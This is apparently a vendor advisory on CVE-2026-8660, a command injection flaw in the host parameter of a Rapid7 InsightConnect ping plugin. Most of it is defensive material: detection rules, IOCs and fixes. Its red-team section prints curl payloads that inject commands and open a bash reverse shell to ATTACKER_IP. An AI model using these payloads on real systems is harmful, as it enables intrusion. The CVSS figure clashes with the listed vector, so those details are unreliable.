CVE-2026-8660
Executive Summary
CVE-2026-8660 is a critical OS Command Injection vulnerability in the ping action of the Rapid7 InsightConnect Ping Plugin on Linux. The flaw resides in insufficient input validation of the host parameter, allowing a remote, unauthenticated attacker to inject arbitrary OS commands. With a CVSS score of 7.7, this vulnerability can lead to full system compromise, data exfiltration, and lateral movement within a network. No public proof-of-concept or patch is currently available, making this a high-priority zero-day for defenders.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a plugin within the Rapid7 InsightConnect ecosystem, which is a commercial SOAR platform. The plugin is not distributed via public package registries (NPM, PyPI, Go, Ruby) but is deployed as part of the InsightConnect appliance or agent. Organizations using InsightConnect on Linux should treat this as a critical supply chain risk, as the plugin may be automatically updated or require manual patching.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component and the injected command run in the same security context.
- Confidentiality (C): High (H) – Full read access to the system.
- Integrity (I): High (H) – Full write access to the system.
- Availability (A): High (H) – Can disrupt or destroy the system.
Threat Level: Critical – Remote, unauthenticated command execution with no user interaction.
Deep Dive & Mechanics
The vulnerability exists in the ping action of the InsightConnect Ping Plugin. When a user provides a host parameter, the plugin constructs a shell command to execute the system ping utility. Due to insufficient input validation, an attacker can inject shell metacharacters (e.g., ;, |, &&, `) into the host parameter, causing the shell to execute arbitrary commands.
Example vulnerable command construction (pseudocode):
import subprocess
host = request.get('host')
command = f"ping -c 4 {host}"
subprocess.run(command, shell=True)
If an attacker provides host=8.8.8.8;id, the executed command becomes:
ping -c 4 8.8.8.8;id
This results in the id command being executed after the ping.
Vulnerable vs. Patched Code
Vulnerable Code (Python-like pseudocode):
def run_ping(host):
# No sanitization
cmd = f"ping -c 4 {host}"
os.system(cmd)
Patched Code (Expected fix):
import shlex
def run_ping(host):
# Validate input: allow only IP addresses or hostnames
if not re.match(r'^[a-zA-Z0-9.-]+$', host):
raise ValueError("Invalid host")
cmd = ["ping", "-c", "4", host]
subprocess.run(cmd, shell=False)
The patched version uses a whitelist regex and avoids shell=True, preventing command injection.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Target: Linux server running Rapid7 InsightConnect with the vulnerable Ping Plugin.
- Attacker: Kali Linux with network access to the InsightConnect API endpoint.
Exploitation Steps:
- Identify the InsightConnect API endpoint (e.g.,
https://target:8080/api/plugins/ping). - Send a crafted POST request with a malicious
hostparameter:curl -X POST https://target:8080/api/plugins/ping \ -H "Content-Type: application/json" \ -d '{"host": "8.8.8.8;id"}' - Observe the response containing the output of the
idcommand. - For reverse shell:
curl -X POST https://target:8080/api/plugins/ping \ -H "Content-Type: application/json" \ -d '{"host": "8.8.8.8;bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"}'
No public exploit code is available; the above is a conceptual demonstration.
Blue Team (Defensive)
Detection Steps:
- Monitor API logs for unusual
hostparameters containing shell metacharacters (;,|,&&,`). - Deploy WAF rules to block requests with
hostvalues not matching a strict IP/hostname regex. - Enable command-line auditing on the InsightConnect server to capture all
pinginvocations.
Hunting Query (Splunk):
index=insightconnect sourcetype=api_logs
| search "ping" AND (host=*\;* OR host=*|* OR host=*\`*)
| table _time, src_ip, host, command
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/api/plugins/pingwithhostcontaining shell metacharacters. - Outbound connections from the InsightConnect server to attacker-controlled IPs on unusual ports (e.g., 4444, 1337).
- POST requests to
- File IOCs:
- Unexpected files in
/tmp/or/var/tmp/created by injected commands. - Modified system binaries or scripts.
- Unexpected files in
- Process IOCs:
pingprocesses with arguments containing;,|, or other shell metacharacters.- Spawned shells (
/bin/sh,/bin/bash) from the InsightConnect process.
Detection Engineering
YARA Rule
rule CVE_2026_8660_Ping_Injection {
meta:
description = "Detects command injection attempts in Rapid7 InsightConnect Ping Plugin"
author = "Valters IT"
date = "2026-01-01"
reference = "CVE-2026-8660"
strings:
$metachar = /[;&|`$(){}]/
$ping_cmd = "ping" nocase
condition:
$ping_cmd and #metachar > 0
}
Sigma Rule
title: CVE-2026-8660 - Rapid7 InsightConnect Ping Command Injection
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects command injection attempts via the host parameter in InsightConnect Ping Plugin
author: Valters IT
date: 2026-01-01
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith: '/ping'
CommandLine|contains:
- ';'
- '|'
- '`'
- '$('
condition: selection
falsepositives:
- Legitimate use of special characters in hostnames (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2026-8660 - Rapid7 InsightConnect Ping Command Injection"; flow:to_server; content:"POST"; http_method; content:"/api/plugins/ping"; http_uri; pcre:"/host.*[;&|`]/Pi"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Ping Plugin if not critical to operations.
- Restrict network access to the InsightConnect API to trusted IPs only.
- Deploy a WAF with a rule to block
hostparameters containing shell metacharacters.
Long-term Fix:
- Apply the official patch from Rapid7 once released.
- Upgrade to a version of the plugin that uses parameterized commands (no
shell=True). - Implement strict input validation (allow only alphanumeric, dots, and hyphens).
Workaround:
- Modify the plugin code manually to sanitize the
hostparameter (if source is available). - Use a reverse proxy to inspect and sanitize API requests.
Valters IT – DevSecOps & Cyber Threat Intelligence